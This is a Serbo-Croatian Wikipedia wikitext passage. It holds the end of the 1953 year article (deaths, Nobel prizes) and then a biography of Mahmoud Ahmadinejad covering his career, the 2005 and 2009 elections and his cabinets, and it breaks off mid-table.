* [[15. 8.]] - [[Ludwig Prandtl]], fizičar (* [[1875]]) * [[12. 9.]] - [[Hugo Schmeisser]], projektant oružja (* [[1884]]) * [[17. 9.]] - [[Wenxiu]], bivša supružnica poslednjeg kineskog cara (* [[1909]]) * [[27. 9.]] - [[Hans Fritzsche]], nacistički zvaničnik (* [[1900]]) * [[28. 9.]] - [[Edwin Hubble]], američki astronom (* [[1889]].) === Oktobar/Listopad &ndash; Decembar/Prosinac === * [[7. 10.]] - [[Anica Savić-Rebac]], književnica, istoričar filozofije (* [[1892]]) * [[8. 10.]] - [[Kathleen Ferrier]], operska pevačica, kontraalt (* [[1912]]) * [[27. 10.]] - [[Ivo Kerdić]], hrvatski medaljer i kipar (* [[1881]].) * [[1. 11.]] - [[Marko Car]], književnik, putopisac (* [[1859]]) * [[8. 11.]] - [[Ivan Aleksejevič Bunin]], ruski književnik (* [[1870]].) * [[9. 11.]] - [[Dylan Thomas]], engleski pjesnik * 9. 11. - [[Ibn Saud]], vladar Saudi Arabije (* [[1876]]) * [[27. 11.]] - [[Eugene O'Neill]], književnik, nobelovac (* [[1888]]) * [[1. 12.]] - [[Kosta Novaković (reditelj)|Kosta Novaković]], filmski producent, snimatelj, reditelj, vlasnik bioskopa "Kasina" u Bg. (* [[1895]]) * [[19. 12.]] - [[Robert Millikan]], američki fizičar, nobelovac (* [[1868]]) * [[23. 12.]] - [[Lavrentij Berija]], šef NKVD (* [[1899]]) === Kroz godinu === * [[Avdo Međedović]], guslar (* 1875) * [[Kostandin Boshnjaku]], bivši albanski bankar i komunistički političar (* 1888) == Reference == {{reflist}} == Literatura/Spoljne veze == * {{Cite book|last=Milan Bajec|first=Ivan Dolničar|title=Jugoslavija 1941-1981|year=1981|publisher=Eksport pres|location=Beograd|isbn=|ref=harv}} * [http://www.osaarchivum.org/files/holdings/300/8/3/text/14-3-84.shtml Yugo Stand On Sattelite Riots - Comparison] {{Webarchive|url=https://web.archive.org/web/20110728065411/http://www.osaarchivum.org/files/holdings/300/8/3/text/14-3-84.shtml |date=2011-07-28 }}, Open Society Archives - Radio Free Europe == Dani sećanja == * == Nobelove nagrade == * [[Nobelova nagrada za fiziku|'''Fizika''']]: [[Frits Zernike]] (demonstracija metoda faznog kontrasta, naročito njegov izum [[mikroskop sa faznim kontrastom|mikroskopa sa faznim kontrastom]]) * [[Nobelova nagrada za kemiju|'''Kemija''']]: [[Hermann Staudinger]] (otkrića na polju [[makromolekula]]rne hemije) * [[Nobelova nagrada za fiziologiju ili medicinu|'''Fiziologija i medicina''']]: [[Hans Adolf Krebs]] (otkriće [[Krebsov ciklus|ciklusa limunske kiseline]]) i [[Fritz Albert Lipmann]] (otkriće [[Koenzim A|koenzima A]] i njegovog značaja za ćelijski metabolizam) * [[Nobelova nagrada za književnost|'''Književnost''']]: [[Winston Churchill]] (za majstorstvo u istorijskom i biografskom opisu, kao i za briljantno oratorstvo u odbrani uzvišenih ljudskih vrednosti) * [[Nobelova nagrada za mir|'''Mir''']]: [[George Marshall|George Catlett Marshall]] (Maršalov plan ekonomske obnove Evrope) == Povezano == * [[Godišnji kalendar]] - [[Dnevni kalendar]] {{commonscat|1953}} [[Kategorija:1953.]] 6le4vx2zhzh7uts4hpt45sz21bg7ftc 0 4306 42602713 42557594 2026-05-28T11:00:26Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602713 wikitext text/x-wiki {{Infookvir političar |ime = Mahmud Ahmadinežad |datum rođenja = [[28. 10.]] [[1956.]] |mjesto rođenja = [[Aradan]]<br />[[Garmsarski okrug]]<br />[[Semnanska pokrajina]]<br />{{flag|Iran}} |datum smrti = |mjesto smrti = |slika = Mahmoud Ahmadinejad 2010.jpg |veličina = |opis slike = |podpredsjednik = [[Parviz Davudi]] |podpremijer = |zamjenik = |stranka = [[Savez graditelja Islamskog Irana]] |potpis = |supruga = |položaj = 6. [[Predsjednik Irana|predsjednik Islamske Republike Iran]] |čin2 = Gradonačelnik [[Teheran]]a |zanimanje = Doktor građevinskih znanosti |fusnote = |nasljednik = [[Hasan Ruhani]] |prethodnik = [[Muhamed Hatami]] |nasljednik2 = [[Muhamed Bagir Galibaf]] |prethodnik2 = [[Muhamed Hasan Malekmadani]] |predsjednik = |mandat_start = [[3. 8.]] [[2005.]] |mandat_kraj = [[3. 8.]] [[2013.]] |mandat_start2 = [[20. 6.]] [[2003.]] |mandat_kraj2 = [[3. 8.]] [[2005.]] |vjera = [[šijitizam]] }} '''Mahmud Ahmadinežad''' ([[perzijski]]: '''محمود احمدی‌نژاد''') ([[Aradan]] kraj [[Garmsar]]a, [[28. 10.]] [[1956.]])<ref name="president.ir">[http://www.president.ir/en/ Službene stranice Mahmuda Ahmadinežada - Biografija (president.ir)]</ref>, šesti je [[Predsjednik Irana|predsjednik]] [[Iran|Islamske Republike Iran]]. Predsjednikom je postao [[6. 8.]] [[2005.]], nakon pobjede na iranskim predsjedničkim izborima [[2005.]] godine<ref>[http://news.bbc.co.uk/2/hi/middle_east/4622501.stm BBC: ''Iran hardliner hails poll victory'' (juni, 2005.)]</ref>. Ahmadinežad je nakon 24 godine Islamske Republike postao prvim predsjednikom Irana koji nije klerik<ref>[http://www.democracynow.org/2005/6/27/conservative_tehran_mayor_wins_upset_victory Democracy Now: ''Conservative Tehran Mayor Wins Upset Victory in Iran Run-Off Presidential Election'' (juni, 2005.)]</ref>. Unatoč tituli predsjednika, on nije najmoćniji čovjek u državi; ta uloga pripada vrhovnom vođi Irana ajatolahu [[Ali Hamenei|Aliju Hameneiju]], prema članku 113. iranskog ustava<ref>{{Cite web |url=http://www.iranonline.com/iran/iran-info/Government/constitution-9-1.html |title=Iranska vlada - izvršna vlast - predsjedništvo (IranOnline.com) |access-date=2009-03-15 |archive-date=2009-02-21 |archive-url=https://web.archive.org/web/20090221011950/http://www.iranonline.com/iran/iran-info/Government/constitution-9-1.html |url-status=dead }}</ref>. Prije predsjedničkog mandata, Ahmadinežad je obnašao dužnost gradonačelnika [[Teheran]]a i ostandara [[Ardabilska pokrajina|Ardabilske pokrajine]]. Ahmadinežad se našao na udaru kritika [[SAD|Sjedinjenih Država]] i [[Izrael]]a, dok je ojačao veze s [[Rusija|Rusijom]], [[Venecuela|Venecuelom]], [[Sirija|Sirijom]] i državama [[Perzijski zaljev|Perzijskog zaljeva]]<ref>[http://www.worldpress.org/Mideast/1185.cfm Babak Dehghanpisheh: ''Bear Hugs'' (WorldPress.org)]</ref><ref>[http://www.janes.com/news/security/countryrisk/jir/jir070710_1_n.shtml Jane's: ''Oiling the axis - Iran and Venezuela develop closer ties'' (juli, 2007.)]</ref>. [[Iranska nuklearna kriza|Iranski nuklearni program]] Ahmadinežad je opisao kao mirnodopski i nužno potrebnog državi zbog neprekidnog povećanja državnih energetskih potreba. Zbog navedenog objašnjenja i drugih razloga, Iran je odbio prestati sa obogaćivanjem uranija unatoč rezoluciji [[UN]]-a koja je to zahtjevala<ref>[http://news.bbc.co.uk/1/hi/world/middle_east/6357451.stm BBC: ''Iran president ‘ready for talks’'' (februar, 2007.)]</ref>. Ahmadinežad uvjerava kako su zapadne sankcije Iranu zbog nuklearnog programa ilegalne i kako će se Iran nastaviti pridržavati pravila Međunarodne agencije za atomsku energiju ([[IAEA]]) oko svog nuklearnog programa<ref>{{Cite web |title=Associated Press: ''Ahmadinejad: Iran’s nuclear issue is ‘closed’'' (Msnbc.msn.com, septembar, 2007.) |url=http://www.msnbc.msn.com/id/20969975/ |access-date=2009-03-15 |archivedate=2012-11-02 |archiveurl=https://web.archive.org/web/20121102023435/http://www.msnbc.msn.com/id/20969975/ |deadurl=yes }}</ref>. Ahmadinežad je također pozvao na raspuštanje države [[Izrael]] za koju je rekao kako joj je mjesto u [[Europa|Europi]]<ref>[http://www.cnn.com/2006/WORLD/meast/04/24/iran.nuclear/index.html CNN: ''Iran president says U.N. sanctions unlikely'' (april, 2006.)]</ref><ref>[http://www.usatoday.com/news/world/2007-08-18-ahmadinejad_N.htm USA Today: ''Iran president: Israel flies Satan's flag'' (august, 2007.)]</ref>, a pozivao je i na slobodne izbore na [[Bliski istok|Bliskom istoku]]. Zalagao se i za prava [[Palestinci|Palestinca]], ističući kako bi Palestinci trebali na demokratskim izborima odlučiti svoju sudbinu<ref>[http://www.nytimes.com/2006/01/15/international/middleeast/15tehran.html?ex=1294981200&en=aa775eeb6ae97fbd&ei=5088&partner=rssnyt&emc=rss New York Times: ''U.N. Scrutiny Won't Make Iran Quit Nuclear Effort, President Says'' (Nazila Fathi, januar 2006.)]</ref>. Jedna od Ahmadinežadovih najkontroverznijih izjava bila je ona, prema prijevodu izraelskog Jerusalem Posta<ref>[http://fr.jpost.com/servlet/Satellite?cid=1129540608312&pagename=JPost/JPArticle/ShowFull Jerusalem Post: ''Iranian president: Wipe Israel off map'' (Orly Halpern, oktobar 2005.)]</ref>, kako „''Izrael treba izbrisati s karte svijeta''“, što su iranski dužnosnici i sam predsjednik kasnije opovrgnuli kao pogrešno protumačene izjave<ref name="archive.is">[https://archive.today/20120723210655/www.dailytimes.com.pk/default.asp?page=2006%5C02%5C22%5Cstory_22-2-2006_pg4_15 Daily Times: ''Ahmadinejad misunderstood, says Iran'' (februar, 2006.)]</ref>. Također, optužen je i za nazivanje [[Holokaust]]a ''mitom''<ref>[http://news.bbc.co.uk/2/hi/middle_east/4529198.stm BBC: ''Holocaust comments spark outrage'' (decembar, 2005.)]</ref> zbog čega je optužen za [[antisemitizam]], no službeni [[Teheran]] tvrdi kako je izjava pogrešno protumačena, odnosno preuzeta iz drugog konteksta<ref name="GS-polling">[http://www.globalsecurity.org/wmd/library/news/iran/2005/iran-051214-irna02.htm IRNA: ''Polling only solution to Palestine problem, President'' (GlobalSecurity.org, decembar 2005.)]</ref>. Kao odgovor na te kritike, Ahmadinežad je izjavio „''Ne, ja nisam protiv Židova, jer ih jako poštujem''“<ref name="bbc-notantisemite">[http://news.bbc.co.uk/2/hi/middle_east/5368458.stm BBC: ''Iranian leader not anti-Semite'' (septembar, 2006.)]</ref>, te „''Nisam izjavio kako se holokaust uopće nije dogodio. To uopće nije moja prosudba''“<ref name="ahmadinejadspeech">[http://ahmadinejadspeech.blogspot.com/ Free Speech: ''Ahmadinejad's speech videos'' (septembar, 2007.)]</ref>. Za vrijeme svog mandata, Ahmadinežad je pokrenuo racionalni plan korištenja plina u cilju smanjenja državne konzumacije nafte. Također, uveo je rezove na kamatne stope koje privatne i državne banke mogu naplaćivati svojim korisnicima<ref>[http://www.guardian.co.uk/business/2007/may/25/iran.internationalnews Guardian: ''Iran interest rate cut sparks panic selling'' (Robert Tait, maj, 2007.)]</ref>. == Uvod == Ahmadinežad, rođen je kao Mahmud Saborjhian<ref>{{Cite web |title=Iran Vajahan, juli 2005. |url=http://www.iranvajahan.net/cgi-bin/news.pl?l=en&y=2005&m=07&d=02&a=3 |access-date=2009-03-15 |archivedate=2009-07-16 |archiveurl=https://web.archive.org/web/20090716005431/http://www.iranvajahan.net/cgi-bin/news.pl?l=en&y=2005&m=07&d=02&a=3 |deadurl=yes }}</ref> [[28. 10.]] [[1956.]] u selu Aradan pokraj grada [[Garmsar]]a kao sin lokalnog kovača. Kada je bio star godinu dana njegova obitelj se preselila u [[Teheran]], te su prezime Saborjhian promijenili u ''Ahmadinežad'' zbog religijskih i ekonomskih razloga<ref>[http://www.guardian.co.uk/world/2005/jul/02/iran.roberttait Guardian: ''A humble beginning helped to form Iran's new hard man'' (Robert Tait, juli 2005.)]</ref>. Godine [[1976.]] Mahmud Ahmadinežad pristupio je nacionalnom testu za upis na fakultete, pri čemu je ostvario 132. mjesto od ukupno 400,000 pristupnika te godine<ref>[http://news.bbc.co.uk/2/hi/middle_east/4790005.stm BBC: ''Iran's president launches weblog'' (august, 2006.)]</ref>. Upisao se na Iransko sveučilište znanosti i tehnologije (IUST), na smjer građevinarstva. Godine [[1979]]. postaje predstavnik Elm-o Sanaat studenata u Uredu za jačanje jedinstva između sveučilišta i teoloških srednjih škola, koje će kasnije postati poznato kao [[OSU]]<ref>[http://www.iranchamber.com/history/mahmadinejad/mahmoud_ahmadinejad.php Iran Chamber: Mahmoud Ahmadinejad]</ref>. OSU je igralo glavnu ulogu u zauzimanju [[SAD|američkog]] [[veleposlanstvo|veleposlanstva]] u Teheranu 1979. Dio tadašnjih talaca će kasnije tvrditi da Ahmadinežad bio glavnog otmičara, ali će on zanijekati svoje navodno sudjelovanje u upadu u veleposlanstvo dok će CIA ustvrditi da nema dokaza za tu tvrdrnju<ref>[http://edition.cnn.com/2005/US/08/12/cia.iranpresident/index.html CNN: ''Sources: CIA finds Iranian president likely not hostage-taker'' (august, 2005.)]</ref><ref>[http://www.redorbit.com/news/general/191558/ahmadinejad_not_man_in_tehran_embassy_photo__cia/ Reuters: ''CIA: Ahmadinejad not man in Tehran embassy photo'' (Redorbit.com, juli 2005.)]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>. Prema mnogim izvorima, nakon što je [[Irak|irački]] diktator [[Saddam Hussein]] [[1980.]] napao Iran, Ahmadinežad je priključio Revolucionarnog gardi u kojoj je služio kao obavještajac i savjetnik sigurnosti<ref name="GS: Ahmadinejad">[http://www.globalsecurity.org/military/world/iran/ahmadinejad.htm Global Security: Mahmoud Ahmadinejad]</ref>, no prema riječima iranskog dužnosnika Mojtaba Samareh Hashemija, „''Ahmadinežad nikada nije bio članom Revolucionarne garde, već članom volonterske paravojske [[Basij]]a''“<ref>{{Cite web |title=Intervju - Mojtaba Samareh-Hashemi (Pezhvakeiran.com) |url=http://www.pezhvakeiran.com/print_MaghalehEN.php?id=112 |access-date=2009-03-15 |archivedate=2009-09-18 |archiveurl=https://web.archive.org/web/20090918195808/http://www.pezhvakeiran.com/print_MaghalehEN.php?id=112 |deadurl=yes }}</ref>. Nakon studija, godine [[1986.]] primljen je na postdiplomski studij na istom fakultetu gdje je radio kao predavač, a [[1997.]] godine doktorirao je na temu građevinskog planiranja prometa i trasporta<ref name="president.ir"/><ref name="GS: Ahmadinejad"/>. Tijekom pripremanja doktorata služio je kao guverner iranske pokrajine [[Ardabil]] ([[1993.]]-[[1997.]]). Na fakultetu je radio kao stalni predavač od [[1989.]] godine<ref name="president.ir"/>. Ahmadinežad je oženjen i ima dva sina i jednu kćer<ref>{{Cite web |title=Jerusalem Post: ''Bio: Mahmoud Ahmadinejad'' (maj, 2006.) |url=http://fr.jpost.com/servlet/Satellite?cid=1145961353570&pagename=JPost%2FJPArticle%2FShowFull |access-date=2021-08-31 |archivedate=2011-07-18 |archiveurl=https://web.archive.org/web/20110718232931/http://fr.jpost.com/servlet/Satellite?cid=1145961353570&pagename=JPost%2FJPArticle%2FShowFull |deadurl=yes }}</ref>. Jedan od dvojice sinova studirao je na teheranskom politehničkom Fakultetu znanosti Amirkabir<ref>{{Cite web |url=http://archive.newsmax.com/archives/articles/2006/12/11/164728.shtml |title=News Max: ''Iran's Ahmadinejad Heckled at University'' (decembar, 2006.) |access-date=2009-03-15 |archive-date=2008-05-06 |archive-url=https://web.archive.org/web/20080506151932/http://archive.newsmax.com/archives/articles/2006/12/11/164728.shtml |url-status=dead }}</ref>. === Početak političke karijere === Ahmadinežad je svoju političku karijeru započeo kao farmandar [[Maku]]a i [[Hoj]]a u iranskoj pokrajini [[Zapadni Azerbajdžan]] tijekom [[1980-ih]] godina<ref name="GS: Ahmadinejad"/>. Poslije je dvije godine služio kao savjetnik ostandaru [[Kurdistanska pokrajina|Kurdistanske pokrajine]]<ref name="president.ir"/>, nakon čega je [[1993.]] imenovan ostandarom [[Ardabilska pokrajina|Ardabilske pokrajine]]. Godine [[1997.]], tadašnji iranski predsjednik [[Muhamed Hatami]] smijenio je Ahmadinežada s pozicije guvernera, pa se vratio predavanju na [[Sveučilište u Teheranu|teheranskom sveučilištu]]<ref name="GS: Ahmadinejad"/>. Ipak, [[2003.]] vraća se na političku scenu nakon što ga je gradski odbor grada [[Teheran]]a imenovao na poziciju gradonačelnika, poslije pobjede njegove stranke Islamske udruge inženjera na lokalnim izborima<ref name="president.ir"/>. On je sam živio skromno i provodio jaku socijalnu politiku, što ga je učinilo omiljenim u narodu. Nakon dvije godine gradonačelničkog mandata, Ahmadinežad je [[2005.]] uvršten na listu 65 finalista za najboljeg svjetskog gradonačelnika i dospio je u uži krug od azijska tri kandidata na svjetskih top deset, no nakon ostavke skinut je s liste<ref name="worldmayor">[http://www.worldmayor.com/results05/worldmayor_finalists05.html The 2005 World Mayor finalists (WorldMayor.com)]</ref>. Od 550 nominiranih kandidata, samo devet ih je bio iz [[Azija|Azije]]<ref name="worldmayor"/>. Prilikom kandidature za iranskog predsjednika Ahmadinežad nije bio vrlo poznat izvan Teherana, u kojem su ga poznavali zbog reformi soclijalne politike. Nakon što je pobijedio na predsjedničkim izborima, Ahmadinežad je dao ostavku na mjesto gradonačelnika Teherana. Njegova ostavka prihvaćena je [[28. 6.]] [[2005]]. Član je političke stranke ''Islamska udruga inženjera'', no prilikom izbora presudna je bila potpora političkog saveza konzervativnih stranaka poznatijeg kao [[Abadgaran]]<ref>{{Cite web |title=Frontline: ''New dynamics'' (Atul Aneja, Hinduonnet.com, decembar 2006.) |url=http://www.hinduonnet.com/fline/fl2326/stories/20070112001105500.htm |access-date=2009-03-15 |archive-date=2007-10-16 |archive-url=https://web.archive.org/web/20071016202546/http://www.hinduonnet.com/fline/fl2326/stories/20070112001105500.htm |dead-url=yes }}</ref> == Predsjedništvo == === Predsjednička kampanja 2005. === Ahmadinežad se tijekom kampanje zalagao za konzervativni pristup politici i jačanju socijalne politike, što su američki analitičari protumačili kao pokušaj pridobivanja potpore religioznih konzervativaca i iranske niže klase<ref>[http://www.washingtonpost.com/wp-dyn/content/article/2005/06/18/AR2005061801226_pf.html Washington Post: ''Hard-Line Figure In Iran Runoff'' (juni, 2005.)]</ref>. Moto predsjedničke kampanje mu je bio „''To je ostvarivo i mi to možemo''“. Prilikom predsjedničke kampanje Ahmadinežad je ciljao na populistički pristup s čestim spominjanjem svog skromnog načina života, i uspoređivanjem sebe s [[Muhamed-Ali Radžai|Muhamed-Alijem Radžaijem]], drugim iranskim predsjednikom. Obećao je kako ima plan od Irana stvoriti „''politički primjer za sve narode svijeta''“. Za sebe je tvrdio kako se drži svojih načela, koji su u skladu sa principima iranske Islamske revolucije. Jedan od njegovih ciljeva bio je dostupnost fosilnih energenata iranskom narodu, aludirajući pritom da iranska niža klasa ima probleme pristupu naftnoj zaradi<ref>{{Cite web |title=Asia Times: ''Iran and the art of crisis management'' (Sami Moubayed, januar 2006.) |url=http://www.atimes.com/atimes/Middle_East/HA19Ak03.html |access-date=2009-03-15 |archivedate=2019-01-20 |archiveurl=https://web.archive.org/web/20190120052641/http://www.atimes.com/atimes/Middle_East/HA19Ak03.html |deadurl=yes }}</ref>. Ahmadinežad je bio jedini predsjednički kandidat koji je govorio protiv mogućih odnosa sa [[SAD|Sjedinjenim Državama]]. U intervjuu za iranske medije nekoliko dana uoči izbora, optužio je [[UN]] za pristranost. Također, protivio se i ovlastima pet vodećih članica UN-a na pravo veta u [[Vijeće sigurnosti UN-a|Vijeću sigurnosti]]. U istom intervjuu dodao je kako „''nije pošteno da svega nekoliko zemalja svijeta ima pravo veta u razmjerima globalne politike, dok muslimanska populacija koja broji 1.5 milijardi ljudi nema nikakvih ovlasti''“. Branio je i iranski nuklearni program pri čemu je optužio „''nekoliko arogantnih sila''“ kako pokušavaju spriječiti iranski industrijski i tehnološki napredak na nuklearnom i drugim područjima. Tokom kampanje za drugi krug predsjedničkih izbora izjavio je kako se Iran bori protiv međunarodnog terorizma s ciljem da poboljša međunarodne odnose, pri čemu je pozvao na veću suradnju s iranskim susjedima i na ukidanje viznog režima u regiji ističući kako „''ljudi imaju pravo slobodno putovati gdje žele''“, aludirajući pritom na vjerska hodočašća i turistička putovanja<ref>{{Cite web |title=Persian Mirror: ''Profile of Mahmoud Ahmadinejad. Friend or Foe?'' |url=http://persianmirror.com/community/2005/opinion/MahmoudAhmadinejad.cfm |access-date=2009-03-15 |archivedate=2009-06-26 |archiveurl=https://web.archive.org/web/20090626204105/http://persianmirror.com/community/2005/opinion/MahmoudAhmadinejad.cfm |deadurl=yes }}</ref>. Ahmadinežadov ideološki i duhovni mentor bio je ajatolah Muhamed Tagi Mesbah Jazdi iz grada [[Kom]]a, osnivač misaone škole Hagani diljem Irana. On i njegov tim snažno su podržavali Ahmadinežadovu kampanju prilikom iranskih predsjedničkih izbora 2005. godine<ref>[http://www.prospect-magazine.co.uk/article_details.php?id=7487 Prospect: ''Divide and empower'' (Nazenin Ansari, juni 2006.)]</ref>. === Predsjednički izbori 2005. === Ahmadinežad je postao šesti iranski predsjednik [[6. 8.]] [[2005.]], nakon osvajanja 62% glasova što je otprilike dvosturko više od njegovog glavnog suparnika [[Akbar Hašemi Rafsandžani]]ja. Potvrdu mandata dobio je od vrhovnog vođe ajatolaha [[Ali Hamenei|Hameneija]] [[3. 8.]] [[2005.]] godine<ref>{{Cite web |title=VOA News: ''Ahmadinejad Sworn in as Iran's New President'' (august, 2005.) |url=http://www.voanews.com/english/archive/2005-08/2005-08-06-voa8.cfm |access-date=2009-01-29 |archivedate=2009-01-29 |archiveurl=https://web.archive.org/web/20090129182648/http://www.voanews.com/english/archive/2005-08/2005-08-06-voa8.cfm |deadurl=no }}</ref><ref>[http://news.bbc.co.uk/2/hi/middle_east/4740441.stm BBC: ''Iran hardliner becomes president'' (august, 2005.)]</ref>. Prilikom službene ceremonije poljubio je ruku [[Ali Hamenei|Hameneija]], izražavajući mu svoju lojalnost<ref>{{Cite web |title=New York Times: ''Behind Ahmadinejad, a Powerful Cleric'' (Michael Slackman, Iranvajahan.net, septembar 2006.) |url=http://www.iranvajahan.net/cgi-bin/news.pl?l=en&y=2006&m=09&d=09&a=1 |access-date=2009-03-15 |archivedate=2006-11-02 |archiveurl=https://web.archive.org/web/20061102205142/http://www.iranvajahan.net/cgi-bin/news.pl?l=en&y=2006&m=09&d=09&a=1 |deadurl=yes }}</ref>. Prvi Ahmadinežadov predsjednički mandat završio je u augustu [[2009.]] godine, nakon čega je imao mogućnost kandidirati se još jednom. Ahmadinežad je bio obavezan u roku od 15 dana predložiti ministre iranskom parlamentu, poslije čega je parlament u roku od tjedan dana morao donijeti odluku o prihvaćanju ili odbijanju popisa. Popis ministarskih kandidata poslan je parlamentu [[14. 8.]] [[2005.]] godine. Parlament je održao sastanak [[5. 8.]] gdje je Ahmadinežad predložio trojicu ili četvoricu kanidata za svako ministarstvo, a službena lista je konačno prihvaćena 14. augusta. Nakon nekoliko dana rasprave Ahmadinežadov ministarski kabinet je izglasan [[24. 8.]] [[2005.]]<ref name="president.ir"/>. Prvi službeni sastanak ministara održao se 25. 8. u gradu [[Mašhad]]u, gdje je obećano kako će se redovito sastajati u svim većim iranskim gradovima. {| align="center" class="wikitable" |- ! Ministarstvo ! Ministarski kandidat |- | Poljoprivreda || [[Muhamed-Reza Iskandari]] |- | Trgovina || [[Masud Mirkazemi]] |- | Komunikacije i informatička tehnologija || [[Muhamed Sulejmani]] |- | Suradnja || [[Muhamed Abasi]] |- | Kultura || [[Muhamed Husein Safar-Harandi]] |- | Obrana || [[Mustafa Muhamed Nadžar]] |- | Gospodarstvo || [[Husein Samsami]] |- | Obrazovanje || [[Alireza Aliahmadi]] |- | Energija || [[Parviz Fateh]] |- | Vanjski poslovi || [[Manučeher Motaki]] |- | Zdravstvo || [[Kamran Bageri Lankarani]] |- | Graditeljstvo || [[Muhamed Saedikija]] |- | Industrija i rudarstvo || [[Aliakbar Mehrabian]] |- | Obavještajni ured || [[Golam Husein Mohseni-Edžehej]] |- | Unutarnji poslovi || [[Sajed Sadek Mahsuli]]<ref>[http://news.bbc.co.uk/2/hi/middle_east/7735947.stm BBC: ''New Iran interior chief approved'' (novembar, 2008.)]</ref> |- | Sudstvo || [[Golam Husein Elham]] |- | Radništvo || [[Muhamed Džahromi]] |- | Nafta || [[Golam-Husein Nozari]] |- | Promet i transport || [[Hamid Behbahani]] |- | Znanost, istraživanje i tehnologija || [[Muhamed Mehdi Zahedi]] |- | Skrb i socijalna sigurnost || [[Abdol-Reza Mesri]] |} === Predsjednički izbori 2009. === [[Datoteka:Ahmadinejad Russia June 2009.jpg|mini|desno|300px|Ahmadinežad u [[Ekaterinburg]]u ([[Rusija]]), [[16. 6.]] [[2009.]]]] [[Datoteka:2009 Iranian Presidential election international response.png|mini|desno|300px|Pozitivne (zeleno) i negativne (crveno) međunarodne reakcije na iranske predsjedničke izbore [[2009.]] godine]] Na iranskim predsjedničkim izborima 12. juna [[2009.]] zabilježen je najveći odaziv birača koji iznosi čak 85%<ref>{{Cite web |url=http://www.presstv.ir/detail.aspx?id=97990&sectionid=351020101 |title=PressTV: Odaziv na izborima 85% |access-date=2013-06-16 |archive-date=2009-08-14 |archive-url=https://web.archive.org/web/20090814230057/http://www.presstv.ir/detail.aspx?id=97990&sectionid=351020101 |url-status=dead }}</ref>. Ahmadinežad je ostvario pobjedu sa 62.63% glasova (24.5 milijuna birača), njegov najveći konkurent [[Mir Hossein Mousavi]] osvojio je drugo mjesto sa 13.2 milijuna glasova (33.75%), dok su dva preostala kandidata osvojila manje od 2% glasova. Također, zabilježeno je nešto više od 400.000 odnosno 1.04% nevažećih listića<ref>{{Cite web |url=http://www.presstv.ir/detail.aspx?id=98012&sectionid=351020101 |title=PressTV: Ahmadinežad opet predsjednik |access-date=2013-06-16 |archive-date=2009-06-16 |archive-url=https://web.archive.org/web/20090616132216/http://www.presstv.ir/detail.aspx?id=98012&sectionid=351020101 |url-status=dead }}</ref>. U augustu [[2009.]] izborni rezultati doveli su do nesuglasica između Mousavija i Ahmadinežada odnosno njihovih stožera, budući kako je poražena strana optužila pobjedničku za izbornu prijevaru. Vrhovni vođa [[Ali Hamemei]] je 3. 8. 2009. službeno potvrdio izbor Ahmadinežada na mjestu iranskog predsjednika, koji je prisegnuo dva dana kasnije<ref name="BBC:8184240">[http://news.bbc.co.uk/2/hi/middle_east/8184240.stm BBC: ''Defiant Iran president takes oath'' (august, 2009.)]</ref>. Nekoliko visokih političkih dužnosnika uključujući [[Muhamed Hatami|Muhameda Hatamija]], [[Akbar Hašemi Rafsandžani|Akbara Hašemi Rafsandžanija]] te poraženog [[Mir Husein Musavi]]ja, nije se pojavilo na službenoj ceremoniji izražavajući pritom nezadovoljstvo izborima<ref>[http://news.bbc.co.uk/2/hi/middle_east/8180811.stm BBC: ''Iran poll critics shun ceremony'' (august 2009.)]</ref>. Opozicijske skupine pozvale su na prosvjede na svim reformističkim [[Web stranice|web stranicama]] i [[blog]]ovima, zbog čega su nakon predsjedničke inauguracije izbile ulične demonstracije. Nasilne demonstracije trajale su nekoliko dana, a iranske vlasti procijenjuju kako je u neredima poginulo 36 ljudi<ref>{{Cite web |title=AFP: ''Iran official says 36 killed in post-vote unrest'' (septembar, 2009.) |url=http://www.google.com/hostednews/afp/article/ALeqM5j8GPoWmrf2qerPWQNHb8Z9eGjT3Q |access-date=2010-02-05 |archivedate=2010-02-05 |archiveurl=https://web.archive.org/web/20100205084338/http://www.google.com/hostednews/afp/article/ALeqM5j8GPoWmrf2qerPWQNHb8Z9eGjT3Q |deadurl=no }}</ref>. Izbori i kasniji prosvijedi izazvali su podijeljena stajališta diljem svijeta, a vlade [[Francuska|Francuske]], [[UK|Velike Britanije]], [[Njemačka|Njemačke]] i [[SAD|Sjedinjenih Država]] odbile su poslati uobičajenu izbornu čestitiku<ref name="BBC:8184240"/>. S druge strane; [[Brazil]]<ref>{{Cite web |url=http://www.monthlyreview.org/mrzine/lula180609.html |title=BBC: ''Brazil: Lula Says There Is No Evidence of Fraud in Iran and Wants to Visit the Country'' (Pablo Uchoa, juni 2006.) |access-date=2013-06-16 |archive-date=2009-09-20 |archive-url=https://web.archive.org/web/20090920211955/http://www.monthlyreview.org/mrzine/lula180609.html |url-status=dead }}</ref>, [[Indija]]<ref>[http://www.president.ir/en/?ArtID=17152 President.ir: ''India's PM congradulates President Ahmadinejad on re-election'' (juni, 2009.)]</ref>, [[Rusija]]<ref>{{Cite web |title=IRIB News Agency: ''Medvedev felicitates Ahmadinejad's reelection'' (juni, 2009.) |url=http://english.iribnews.ir/NewsBody.aspx?ID=3176 |access-date=2013-06-16 |archivedate=2011-07-27 |archiveurl=https://web.archive.org/web/20110727105104/http://english.iribnews.ir/NewsBody.aspx?ID=3176 |deadurl=yes }}</ref> i [[Kina]]<ref>[http://news.xinhuanet.com/english/2009-06/16/content_11552204.htm Xinhua: ''China calls for "stability, solidarity" in post-election Iran'' (juni, 2009.)]</ref> pozdravili su reizbor Ahmadinežada. {| align="center" class="wikitable" |- ! Ministarstvo ! Ministar/ica |- | Poljoprivreda || [[Sadek Halilijan]] |- | Trgovina || [[Mehdi Gazanfari]] |- | Komunikacije i informatička tehnologija || [[Reza Takipur]] |- | Suradnja || [[Muhamed Abasi]] |- | Kultura || [[Sajed Muhamed Huseini]] |- | Obrana || [[Ahmad Vahidi]] |- | Gospodarstvo || [[Husein Samsami]] |- | Obrazovanje || [[Susan Kešavarz]] (nepotvrđena) |- | Energija || [[Muhamed Aliabadi]] (nepotvrđen) |- | Vanjski poslovi || [[Manučeher Motaki]] |- | Zdravstvo || [[Marzije Vahid Dastdžerdi]] |- | Graditeljstvo || [[Abdolreza Šejholislami]] |- | Industrija i rudarstvo || [[Aliakbar Mehrabian]] |- | Obavještajni ured || [[Hejder Moslehi]] |- | Unutarnji poslovi || [[Mostafa Muhamed Nadžar]] |- | Sudstvo || [[Morteza Bahtijari]] |- | Radništvo || [[Ali Nikzad]] |- | Nafta || [[Masud Mir Kazemi]] 